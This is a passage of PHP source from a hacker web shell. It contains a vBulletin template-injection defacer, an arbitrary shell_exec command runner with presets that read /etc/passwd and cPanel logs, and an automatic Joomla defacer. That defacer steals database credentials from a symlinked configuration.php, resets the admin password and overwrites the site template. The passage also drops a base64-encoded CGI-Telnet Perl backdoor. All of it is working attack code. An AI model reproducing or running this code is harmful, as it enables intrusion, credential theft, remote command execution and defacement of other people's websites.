class=\\"inputz\\" type=\\"text\\" size=\\"60\\" name=\\"database\\" value=\\"forum_vb\\"></td></tr>\r\n<tr><td>username </td><td><input class=\\"inputz\\" type=\\"text\\" size=\\"60\\" name=\\"username\\" value=\\"user_vb\\"></td></tr>\r\n<tr><td>password </td><td><input class=\\"inputz\\" type=\\"text\\" size=\\"60\\" name=\\"password\\" value=\\"vb\\"></td></tr>\r\n</tr>\r\n<th colspan=\\"2\\">Your Index Code</th></table><table class=\\"tabnet\\">\r\n<TEXTAREA name=\\"index\\" rows=\\"13\\" style=\\"background:black\\" border=\\"1\\" cols=\\"69\\" name=\\"code\\">your index code</TEXTAREA><br>\r\n<INPUT class=\\"inputzbut\\" type=\\"submit\\" value=\\"setting\\" name=\\"send\\">\r\n</FORM></table></center>";\r\n }else{\r\n $localhost = $_POST[\'localhost\'];\r\n $database = $_POST[\'database\'];\r\n $username = $_POST[\'username\'];\r\n $password = $_POST[\'password\'];\r\n $index = $_POST[\'index\'];\r\n @mysql_connect($localhost,$username,$password) or die(mysql_error());\r\n @mysql_select_db($database) or die(mysql_error());\r\n $index=str_replace("\\\'","\'",$index);\r\n $set_index = "{\\${eval(base64_decode(\\\'";\r\n $set_index .= base64_encode("echo \\"$index\\";");\r\n $set_index .= "\\\'))}}{\\${exit()}}</textarea>";\r\n echo("UPDATE template SET template =\'".$set_index."\' ") ;\r\n $ok=@mysql_query("UPDATE template SET template =\'".$set_index."\'") or die(mysql_error());\r\n if($ok){\r\n echo "!! update finish !!<br><br>";\r\n } \r\n }\r\n}\r\n\r\n//////////////////////////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'bypass\')) \r\n{ \r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=bypass" method="post">\r\n\r\n<?php\r\necho "<center/><br/><b><font color=#00ff00>-=[ Command Bypass Exploit ]=-</font></b><br>\r\n";\r\nprint_r(\'\r\n<pre>\r\n<form method="POST" action="">\r\n<b><font color=#00ff00><b><font color="#00ff00">Command :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">\r\n</form>\r\n<form method="POST" action=""><strong><b><font color="#00ff00">Menu Bypass :=) </font></strong><select name="liz0" size="1" class="inputz">\r\n<option value="cat /etc/passwd">/etc/passwd</option>\r\n<option value="netstat -an | grep -i listen">netstat</option>\r\n<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>\r\n<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>\r\n<option value="cat /etc/hosts">/etc/hosts</option>\r\n<option value="cat /etc/named.conf">/etc/named.conf</option>\r\n<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>\r\n</select> <input type="submit" class="inputzbut" value="Gö">\r\n</form>\r\n</pre>\r\n\');\r\nini_restore("safe_mode");\r\nini_restore("open_basedir");\r\n$liz0=shell_exec($_POST[baba]); \r\n$liz0zim=shell_exec($_POST[liz0]); \r\n$uid=shell_exec(\'id\');\r\n$server=shell_exec(\'uname -a\');\r\necho "<pre><h4>";\r\n\r\necho $liz0;\r\necho $liz0zim;\r\necho "</h4></pre>";\r\n "</div>"; }\r\n\r\n ///////////////////////////////////////////////////////////////////////////\r\n \r\n elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jodexer\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&x=jodexer" method="post">\r\n\r\n<?php\r\n\r\nfunction randomt() {\r\n \r\n $chars = "abcdefghijkmnopqrstuvwxyz023456789";\r\n srand((double)microtime()*1000000);\r\n $i = 0;\r\n $pass = \'\' ;\r\n \r\n while ($i <= 7) {\r\n $num = rand() % 33;\r\n $tmp = substr($chars, $num, 1);\r\n $pass = $pass . $tmp;\r\n $i++;\r\n }\r\n \r\n return $pass;\r\n \r\n }\r\n function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)\r\n {\r\n $ar0=explode($marqueurDebutLien, $text);\r\n $ar1=explode($marqueurFinLien, $ar0[$i]);\r\n $ar=trim($ar1[0]);\r\n return $ar;\r\n }\r\n if ($_POST[\'form_action\'])\r\n {\r\n \r\n $text=file_get_contents($_POST[\'file\']);\r\n $username=entre2v2($text,"public $user = \'","\';");\r\n $password=entre2v2($text,"public $password = \', \'","\';");\r\n $dbname=entre2v2($text,"public $db = \', \'","\';");\r\n $dbprefix=entre2v2($text,"public $dbprefix = \'","\';");\r\n $site_url=($_POST[\'site_url\']);\r\n \r\n $h="<? echo(stripslashes(base64_decode(\'".urlencode(base64_encode(str_replace("\'","\'",($_POST[\'code\']))))."\'))); exit; ?>";\r\n \r\n $co=randomt(); \r\n /*\r\n echo($username);\r\n echo("<br>");\r\n echo($password);\r\n echo("<br>");\r\n echo($dbname);\r\n echo("<br>");\r\n echo($dbprefix);\r\n echo("<br>");\r\n */\r\n $co=randomt();\r\n \r\n if ($_POST[\'form_action\'])\r\n {\r\n $h="<? echo(stripslashes(base64_decode(\'".urlencode(base64_encode(str_replace("\'","\'",($_POST[\'code\']))))."\'))); exit; ?>";\r\n \r\n \r\n \r\n \r\n \r\n $link=mysql_connect("dzoed.druknet.bt",$username,$password) ;\r\n \r\n mysql_select_db($dbname,$link) ;\r\n \r\n $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username =\'admin\' , password = \'2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX\'");\r\n echo("<br>[+] Changing admin password to 123456789"); \r\n \r\n $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");\r\n \r\n if ( $req )\r\n {\r\n #################################################################\r\n ###################### V1.6 ######################\r\n #################################################################\r\n \r\n \r\n $req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id=\'0\' and home=\'1\'");\r\n $data = mysql_fetch_array($req);\r\n $template_name=$data["template"];\r\n \r\n $req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name=\'".$template_name."\'");\r\n $data = mysql_fetch_array($req);\r\n $template_id=$data["extension_id"];\r\n \r\n $url2=$site_url."/index.php";\r\n \r\n $ch = curl_init();\r\n curl_setopt($ch, CURLOPT_URL, $url2);\r\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n curl_setopt($ch, CURLOPT_HEADER, 1);\r\n curl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n curl_setopt($ch, CURLOPT_COOKIEJAR, $co);\r\n curl_setopt($ch, CURLOPT_COOKIEFILE, $co);\r\n \r\n \r\n $buffer = curl_exec($ch);\r\n \r\n $return=entre2v2($buffer ,\'<input type="hidden" name="return" value="\',\'"\');\r\n $hidden=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',4);\r\n \r\n ///////////////////////////\r\n $url2=$site_url."/index.php";\r\n $ch = curl_init();\r\n curl_setopt($ch, CURLOPT_URL, $url2);\r\n curl_setopt($ch, CURLOPT_POST, 1);\r\n curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");\r\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n curl_setopt($ch, CURLOPT_HEADER, 0);\r\n curl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n curl_setopt($ch, CURLOPT_COOKIEJAR, $co);\r\n curl_setopt($ch, CURLOPT_COOKIEFILE, $co);\r\n $buffer = curl_exec($ch);\r\n \r\n $pos = strpos($buffer,"com_config");\r\n if($pos === false) {\r\n echo("<br>[-] Login Error");\r\n exit;\r\n }\r\n else {\r\n echo("<br>[~] Login Successful");\r\n }\r\n ///////////////////////////\r\n $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");\r\n $ch = curl_init();\r\n curl_setopt($ch, CURLOPT_URL, $url2);\r\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n curl_setopt($ch, CURLOPT_HEADER, 0);\r\n curl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n curl_setopt($ch, CURLOPT_COOKIEJAR, $co);\r\n curl_setopt($ch, CURLOPT_COOKIEFILE, $co);\r\n $buffer = curl_exec($ch);\r\n \r\n $hidden2=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',2);\r\n if($hidden2) {\r\n echo("<br>[+] index.php file founded in Theme Editor");\r\n }\r\n else {\r\n echo("<br>[-] index.php Not found in Theme Editor");\r\n exit;\r\n }\r\n echo("<br>[*] Updating Index.php .....");\r\n $url2=$site_url."/index.php?option=com_templates&layout=edit";\r\n \r\n $ch = curl_init();\r\n curl_setopt($ch, CURLOPT_URL, $url2);\r\n curl_setopt($ch, CURLOPT_POST, 1);\r\n curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");\r\n \r\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n curl_setopt($ch, CURLOPT_HEADER, 0);\r\n curl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n curl_setopt($ch, CURLOPT_COOKIEJAR, $co);\r\n curl_setopt($ch, CURLOPT_COOKIEFILE, $co);\r\n $buffer = curl_exec($ch);\r\n \r\n $pos = strpos($buffer,\'<dd class="message message">\');\r\n if($pos === false) {\r\n echo("<br>[-] Updating Index.php Error");\r\n exit;\r\n }\r\n else {\r\n echo("<br>[~] index.php successfully saved");\r\n }\r\n #################################################################\r\n ###################### V1.6 END ######################\r\n #################################################################\r\n \r\n \r\n }\r\n else\r\n {\r\n \r\n #################################################################\r\n ###################### V1.5 ######################\r\n #################################################################\r\n \r\n $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id=\'0\'");\r\n $data = mysql_fetch_array($req);\r\n $template_name=$data["template"];\r\n \r\n $url2=$site_url."/index.php";\r\n $ch = curl_init();\r\n curl_setopt($ch, CURLOPT_URL, $url2);\r\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n curl_setopt($ch, CURLOPT_HEADER, 1);\r\n curl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n curl_setopt($ch, CURLOPT_COOKIEJAR, $co);\r\n curl_setopt($ch, CURLOPT_COOKIEFILE, $co);\r\n $buffer = curl_exec($ch);\r\n \r\n $hidden=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',3);\r\n \r\n $url2=$site_url."/index.php";\r\n $ch = curl_init();\r\n curl_setopt($ch, CURLOPT_URL, $url2);\r\n curl_setopt($ch, CURLOPT_POST, 1);\r\n curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");\r\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n curl_setopt($ch, CURLOPT_HEADER, 0);\r\n curl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n curl_setopt($ch, CURLOPT_COOKIEJAR, $co);\r\n curl_setopt($ch, CURLOPT_COOKIEFILE, $co);\r\n $buffer = curl_exec($ch);\r\n \r\n $pos = strpos($buffer,"com_config");\r\n \r\n if($pos === false) {\r\n echo("<br>[-] Login Error");\r\n exit;\r\n }\r\n else {\r\n echo("<br>[+] Login Successful");\r\n }\r\n ///////////////////////////\r\n $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;\r\n $ch = curl_init();\r\n curl_setopt($ch, CURLOPT_URL, $url2);\r\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n curl_setopt($ch, CURLOPT_HEADER, 0);\r\n curl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n curl_setopt($ch, CURLOPT_COOKIEJAR, $co);\r\n curl_setopt($ch, CURLOPT_COOKIEFILE, $co);\r\n $buffer = curl_exec($ch);\r\n \r\n $hidden2=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',6);\r\n \r\n if($hidden2) {\r\n echo("<br>[~] index.php file founded in Theme Editor");\r\n }\r\n else {\r\n echo("<br>[-] index.php Not found in Theme Editor");\r\n }\r\n \r\n echo("<br>[*] Updating Index.php .....");\r\n $url2=$site_url."/index.php?option=com_templates&layout=edit";\r\n $ch = curl_init();\r\n curl_setopt($ch, CURLOPT_URL, $url2);\r\n curl_setopt($ch, CURLOPT_POST, 1);\r\n curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");\r\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n curl_setopt($ch, CURLOPT_HEADER, 0);\r\n curl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n curl_setopt($ch, CURLOPT_COOKIEJAR, $co);\r\n curl_setopt($ch, CURLOPT_COOKIEFILE, $co);\r\n $buffer = curl_exec($ch);\r\n \r\n $pos = strpos($buffer,\'<dd class="message message fade">\');\r\n if($pos === false) {\r\n echo("<br>[-] Updating Index.php Error");\r\n exit;\r\n }\r\n else {\r\n echo("<br>[~] index.php successfully saved");\r\n }\r\n #################################################################\r\n ###################### V1.5 END ######################\r\n #################################################################\r\n \r\n }\r\n \r\n }\r\n \r\n \r\n function randomt() {\r\n \r\n $chars = "abcdefghijkmnopqrstuvwxyz023456789";\r\n srand((double)microtime()*1000000);\r\n $i = 0;\r\n $pass = \'\' ;\r\n \r\n while ($i <= 7) {\r\n $num = rand() % 33;\r\n $tmp = substr($chars, $num, 1);\r\n $pass = $pass . $tmp;\r\n $i++;\r\n }\r\n \r\n return $pass;\r\n \r\n }\r\n \r\n function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)\r\n \r\n {\r\n \r\n $ar0=explode($marqueurDebutLien, $text);\r\n $ar1=explode($marqueurFinLien, $ar0[$i]);\r\n $ar=trim($ar1[0]);\r\n return $ar;\r\n }\r\n \r\n }?>\r\n <center><br><br>\r\n <font color="#00ff00" size=\'+3\'><b>+--=[ Automatic Joomla Index Changer ]=--+</b></font><br><br>\r\n </center>\r\n <center><b>\r\n Link of symlink configuration.php of Joomla<br></b>\r\n <FORM action="" method="post">\r\n <input type="hidden" name="form_action" value="1">\r\n <input type="text" class="inputz" size="60" name="file" value="http://site.com/sym/home/user/public_html/configuration.php">\r\n <br>\r\n <br><b>\r\n Admin Control panel url</b><br>\r\n <input type="text" class="inputz" size="40" name="site_url" value="http://site/administrator"><br>\r\n <br><b>\r\n Your Index Code</b>\r\n <br>\r\n <TEXTAREA rows="20" align="center" style="background:black" cols="120" name="code"> your index code\r\n </TEXTAREA>\r\n <br>\r\n <INPUT class="inputzbut" type="submit" value="Lets Go Deface !!!" name="Submit">\r\n </FORM>\r\n </center>\r\n <script language=JavaScript>m=\'%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%3C/table%3E%0A%09%09%09%09%3C/td%3E%0A%3C/html%3E\';d=unescape(m);document.write(d);</script>\r\n\t<?php\r\n}\r\n ///////////////////////////////////////////////////////////////////////////\r\n \r\n elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'cgi2012\')) { \r\n echo "<center/><br/><b>\r\n +--==[ CGI-Telnet Version 1.3 ]==--+ \r\n </b><br><br>";\r\n \r\n \r\n mkdir(\'cgi2012\', 0755);\r\n chdir(\'cgi2012\');\r\n $kokdosya = ".htaccess";\r\n $dosya_adi = "$kokdosya";\r\n $dosya = fopen ($dosya_adi , \'w\') or die ("Dosya açılamadı!");\r\n $metin = "AddHandler cgi-script .izo"; \r\n fwrite ( $dosya , $metin ) ;\r\n fclose ($dosya);\r\n$cgi2012 = \'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc